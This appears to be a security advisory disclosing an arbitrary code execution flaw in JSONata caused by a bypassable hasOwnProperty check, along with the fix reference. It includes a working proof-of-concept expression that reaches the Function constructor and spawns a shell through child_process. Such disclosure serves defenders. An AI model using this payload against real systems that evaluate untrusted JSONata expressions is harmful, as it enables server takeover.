Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
|
lookup: function (name) { |
|
var value; |
|
if(bindings.hasOwnProperty(name)) { |
|
value = bindings[name]; |
|
} else if (enclosingEnvironment) { |
|
value = enclosingEnvironment.lookup(name); |
|
} |
|
return value; |
|
}, |
This was fixed in #799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
References
Before JSONata
2.2.1and1.8.8it was possible to execute arbitrary code withcrafted expressions, due to a bypassable
hasOwnPropertycheck inenvironment.lookupjsonata/src/jsonata.js
Lines 1863 to 1871 in 8ee4476
This was fixed in #799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the
2.2.1release, and then back-ported to the1.8.8release.PoC
References